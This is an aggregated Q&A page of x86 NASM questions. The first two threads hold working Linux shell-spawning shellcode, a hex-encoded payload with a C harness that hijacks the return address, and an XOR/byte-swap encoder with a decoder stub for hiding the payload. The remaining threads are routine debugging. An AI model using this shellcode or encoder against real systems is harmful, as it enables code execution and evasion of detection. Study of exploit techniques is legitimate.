Converting generated shellcode to hexademical - security

I have written the following shellcode, which spawns a shell.
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi+7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80
GotoCall:
call shellcode
db '/bin/shJAAAAKKKK'
I assembled the instructions with nasm and linked it with ld.
I want the assembly instructions to be represented in hexadecimal so that they can be written in the following C code where the variable shellcode contains the above assembly instructions in hexademical. However, doing this manually would be tedious and I want to know if there is a fast way to do this.
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46"
"\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

Related

Intel x86 (IA32) assembly decoder stub for custom encoder not working as expected

I have written a custom encoder which encodes my shellcode in this way:
First it reverses(swaps) all adjacent bytes in the original shellcode, and then it XORs each byte with value "0xaa" - I did all sanity check to ensure my original shellcode doesn't have this value, which might break my shellcode (by causing bad characters as a result of the encode). Output of my encoder:
Original Shellcode( 25 Bytes) :
0x31,0xc0,0x50,0x68,0x2f,0x2f,0x6c,0x73,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0xb,0xcd,0x80,
Step1(Reverse adjacent Bytes)-Encoded Shellcode( 25 Bytes) :
0xc0,0x31,0x68,0x50,0x2f,0x2f,0x73,0x6c,0x2f,0x68,0x69,0x62,0x89,0x6e,0x50,0xe3,0xe2,0x89,0x89,0x53,0xb0,0xe1,0xcd,0xb,0x80,
Step2(XOR-each-BYTE-with-0xaa)-Encoded Shellcode( 25 Bytes) :
0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,
My original shellcode's purpose: it just executes /bin/ls on Linux systems using the "execve" syscall. Full code:
global _start
section .text
_start:
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
In order to execute the shellcode I'm practicing how to write a decoder stub, which will decode my custom encoded shellcode, and then execute it on a target machine.
This is my decoder stub assembly code:
global _start
section .text
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov cl, 12
jmp short call_decoder
; first : decode by XOR again with same value 0xaa
decode1:
pop esi
xor byte [esi], 0xaa
jz decode2
inc esi
jmp short decode1
; second: rearrange the reversed adjacent BYTES, as part of encoding
decode2:
pop esi
mov bl, byte [esi + eax]
mov dl, byte [esi + eax + 1]
xchg bl, dl
mov byte [esi + eax], bl
mov byte [esi + eax + 1], dl
add al, 2
loop decode2
; execute Shellcode
jmp short Shellcode
call_decoder:
call decode1
; an extra byte 0xaa added at the end of encoded shellcode, as a marker to end of shellcode bytes.
Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,0xaa
But above code gives me a segment fault. I'm unable to find a failure point on gdb debugger. Need some help on what I'm doing wrong.
Based on comments made by #prl, these are the changes I did in my decoder stub, and now it works as expected:
global _start
section .text
; initialize registers
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov cl, 12
jmp short call_decoder
; set starting address of Shellcode in esi register
decoder:
pop esi
mov edi, esi
; first: decode by XOR again with same value 0xaa
decode1:
xor byte [edi], 0xaa
jz decode2
inc edi
jmp short decode1
; second: rearrange the reversed adjacent BYTES, as part of encoding
decode2:
mov bl, byte [esi + eax]
mov dl, byte [esi + eax + 1]
xchg bl, dl
mov byte [esi + eax], bl
mov byte [esi + eax + 1], dl
add al, 2
loop decode2
jmp short Shellcode
call_decoder:
call decoder
Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,0xaa
EDIT2 :
A much concise and a better looking code - also no need to hardcode the length of Shellcode:
global _start
section .text
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
jmp short call_decoder
decoder:
pop esi
mov cl, codeLen
dec cl
decode:
cmp al, cl
jz last_byte_odd
xor byte [esi + eax], 0xaa
mov bl, byte [esi + eax]
xor byte [esi + eax + 1], 0xaa
xchg byte [esi + eax + 1], bl
mov byte [esi + eax], bl
add al, 1
cmp al, cl
jz Shellcode
add al, 1
jmp short decode
last_byte_odd:
xor byte [esi + eax], 0xaa
jmp short Shellcode
call_decoder:
call decoder
Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a
codeLen equ $-Shellcode
I leave it up to the low level and shell-coding enthusiasts, to decipher the logic.

Swapping first and last characters of string results in seg fault

My goal is to swap the first character with the last character of the string some_str in x86-assembly.
Here is my attempt:
; assemble and link with:
; nasm -f elf32 -g test.asm && ld -melf_i386 test.asm.o -o test
section .text
global _start
extern printf
_start:
mov eax, some_str
_loop:
mov di, [eax + 4] ; ptr to end char
mov si, [eax] ; ptr to start char
mov dl, [di] ; DL = end char
mov al, [si] ; AL = start char
mov [si], dl ; start char = end char
mov [di], al ; end char = char 1
mov edx, len
mov ecx, eax
mov ebx, 1
mov eax, 4
int 0x80
ret
mov eax, 1
int 0x80
section .data
some_str db `abcd`, 0xa
len equ $ - some_str
For some reason I am oblivious to the lines:
mov dl, [di] ; DL = end char
mov al, [si] ; AL = start char
Causes the program to result in a segmentation fault.
The expected stdout is:
dbca
Actual stdout:
Segmentation fault (core dumped)`
Is there something I am missing? How do I correct this code to correctly swap the first and last character of some_str.
Your code seems to be doing something much more complicated than necessary. After mov eax, some_str, we have that eax points to one of the bytes that wants to be swapped, and eax+4 points to the other. So just load them into two 8-bit registers and then store them back the other way around.
mov eax, some_str
mov cl, [eax]
mov dl, [eax + 4]
mov [eax + 4], cl
mov [eax], dl
And you're done and can proceed to write out the result.
Note it isn't necessary to load the pointer into eax first; you could also do
mov cl, [some_str]
mov dl, [some_str + 4]
mov [some_str + 4], cl
mov [some_str], dl
If you really wanted to have two different registers to point to the two different bytes: first of all, they need to be 32-bit registers. Trying to address memory in 32-bit mode using 16-bit registers si, di is practically never going to work. Second, mov edi, [eax] would load edi with the contents of the memory at location eax, which is some bytes of your string, not a pointer. You'd want simply mov edi, eax. For the second one, you can use lea to do the arithmetic of an effective address calculation but keep the resulting pointer instead of doing a load. So I think the way to turn your code into something in the original (inefficient) spirit, but correct, would be
mov edi, eax
lea esi, [eax+4]
mov dl, [edi]
mov al, [esi]
mov [esi], dl
mov [edi], al

NASM: SegFault on MOV ECX

I'm trying to make a very simple assembly program run, however I seem to get segfaults whatever I do.
Here is my code (should print 'a' on a linux machine)
section .data
buffer times 50 db 97
pointer db 0
section .text
global _start
_start:
mov ECX , pointer
mov EDX , [buffer + ECX]
mov EAX , 4
mov EBX , 1
mov ECX , EDX
mov EDX , 1
int 0x80
It causes a segfault on the first MOV but it seems obvious to me that it should work.
I reduced it to almost nothing and it still segfault.
section .data
msg db "hello"
section .text
global _start
_start:
mov EAX,1
I've run this succesfully:
section .text
global _start
_start:
mov ax, 0b
dec ax
sub ax, 11111111b
mov bx, 97
add ax, bx
mov [INVENTORY], ax ; put a in first inventory pos
mov eax, 4
mov ebx, 1
mov ecx, INVENTORY
mov edx, 1
int 0x80
mov ax, [INVENTORY]
add ax, 1
mov [INVENTORY + 1], ax ; put b in second inventory pos
mov [VAR], ax
mov eax, 4
mov ebx, 1
mov ecx, VAR
mov edx, 1
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, '\n'
mov edx, 1
int 0x80
mov eax,1
int 0x80
_newline:
section .data
VAR DW 0
INVENTORY TIMES 8 DW 0
Is it possible that it has to do with the symbols I use for newlines or tabs? I generate the assembly from java and I use \t for tabs and \n for new lines (and spaces so it doesn't look too bad.
I'm using NASM and I'm running it here:
https://www.tutorialspoint.com/compile_assembly_online.php
Thank you!
If you are just trying to print out a set of 'a's.
section .data
buffer times 50 db 97
len.buffer equ $-buffer
pointer db 0
section .text
global _start
_start:
; ssize_t write(int fd, const void *buf, size_t count);
; i386 ebx ecx edx esi edi ebp
mov EAX , 4 ; write syscall
mov EBX , 1 ; std out
lea ecx, [buffer] ; buffer
mov edx, len.buffer ; size
int 0x80
_exit:
mov eax, 1 ; exit syscall
int 0x80
output:
./yvon_001
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ndavid#ubuntuserver00A:~/asm$ ./yvon_001
In the end #MichealPetch was right, I needed to add an EXIT syscall at the end of the code. The sample I tried still did a SEGFAULT because I was moving pointer instead of [pointer] in a registry.
Thanks for comments and answers!

"The value of ESP was not properly saved across a function call." even with LEAVE

When attempting to call a method which is defined in assembly, I'm receiving the error "The value of ESP was not properly saved across a function call.", using Visual Studio 2012. Looking at other questions, a common factor was the mention that the assembly may not have the LEAVE instruction at the end of each label.
I am receiving this error, but with the following code, which does include the LEAVE instruction.
section .bss
vs: resb 13 ; 12-byte vendor string + NULL char
ns: resb 49 ; 48-byte proc. name + NULL char
section .text
global _meta_vendor
global _meta_procname
_meta_vendor:
push ebp
mov ebp, esp
mov eax, 0h
cpuid
mov [vs], ebx
mov [vs + 4], edx
mov [vs + 8], ecx
mov byte [vs + 12], 0h
mov eax, vs
leave
ret
_meta_procname:
push ebp
mov ebp, esp
mov eax, 80000002h
cpuid
mov [ns], eax
mov [ns + 4], ebx
mov [ns + 8], ecx
mov [ns + 12], edx
mov eax, 80000003h
cpuid
mov [ns + 16], eax
mov [ns + 20], ebx
mov [ns + 24], ecx
mov [ns + 28], edx
mov eax, 80000004h
cpuid
mov [ns + 32], eax
mov [ns + 36], ebx
mov [ns + 40], ecx
mov [ns + 44], edx
mov byte [ns + 48], 0h
mov eax, ns
leave
ret
Function prototypes for those labels are then in a header file which contains only this:
#include <cstdint>
extern "C" {
char* meta_vendor();
char* meta_procname();
}
Any insight as to why I am receiving this error?
Note that, if I click "Continue" on the popup which appears, the expected values do appear.
The problem was solved by adding push ebx and pop ebx as is shown below:
_meta_vendor:
push ebp
mov ebp, esp
push ebx
; code...
pop ebx
leave
ret

strlen in assembly

I made my own implementation of strlen in assembly, but it doesn't return the correct value. It returns the string length + 4. Consequently. I don't see why.. and I hope any of you do...
Assembly source:
section .text
[GLOBAL stringlen:] ; C function
stringlen:
push ebp
mov ebp, esp ; setup the stack frame
mov ecx, [ebp+8]
xor eax, eax ; loop counter
startLoop:
xor edx, edx
mov edx, [ecx+eax]
inc eax
cmp edx, 0x0 ; null byte
jne startLoop
end:
pop ebp
ret
And the main routine:
#include <stdio.h>
extern int stringlen(char *);
int main(void)
{
printf("%d", stringlen("h"));
return 0;
}
Thanks
You are not accessing bytes (characters), but doublewords. So your code is not looking for a single terminating zero, it is looking for 4 consecutive zeroes. Note that won't always return correct value +4, it depends on what the memory after your string contains.
To fix, you should use byte accesses, for example by changing edx to dl.
Thanks for your answers. Under here working code for anyone who has the same problem as me.
section .text
[GLOBAL stringlen:]
stringlen:
push ebp
mov ebp, esp
mov edx, [ebp+8] ; the string
xor eax, eax ; loop counter
jmp if
then:
inc eax
if:
mov cl, [edx+eax]
cmp cl, 0x0
jne then
end:
pop ebp
ret
Not sure about the four, but it seems obvious it will always return the proper length + 1, since eax is always increased, even if the first byte read from the string is zero.
Change the line
mov edx, [ecx+eax]
to
mov dl, byte [ecx+eax]
and
cmp edx, 0x0 ; null byte
to
cmp dl, 0x0 ; null byte
Because you have to compare only byte at a time.
Following is the code. Your original code got off-by-one error. For "h" it will return two h + null character.
section .text
[GLOBAL stringlen:] ; C function
stringlen:
push ebp
mov ebp, esp ; setup the stack frame
mov ecx, [ebp+8]
xor eax, eax ; loop counter
startLoop:
xor dx, dx
mov dl, byte [ecx+eax]
inc eax
cmp dl, 0x0 ; null byte
jne startLoop
end:
pop ebp
ret
More easy way here(ASCII zero terminated string only):
REPE SCAS m8
http://pdos.csail.mit.edu/6.828/2006/readings/i386/REP.htm
I think your inc should be after the jne. I'm not familiar with this assembly, so I don't really know.

Resources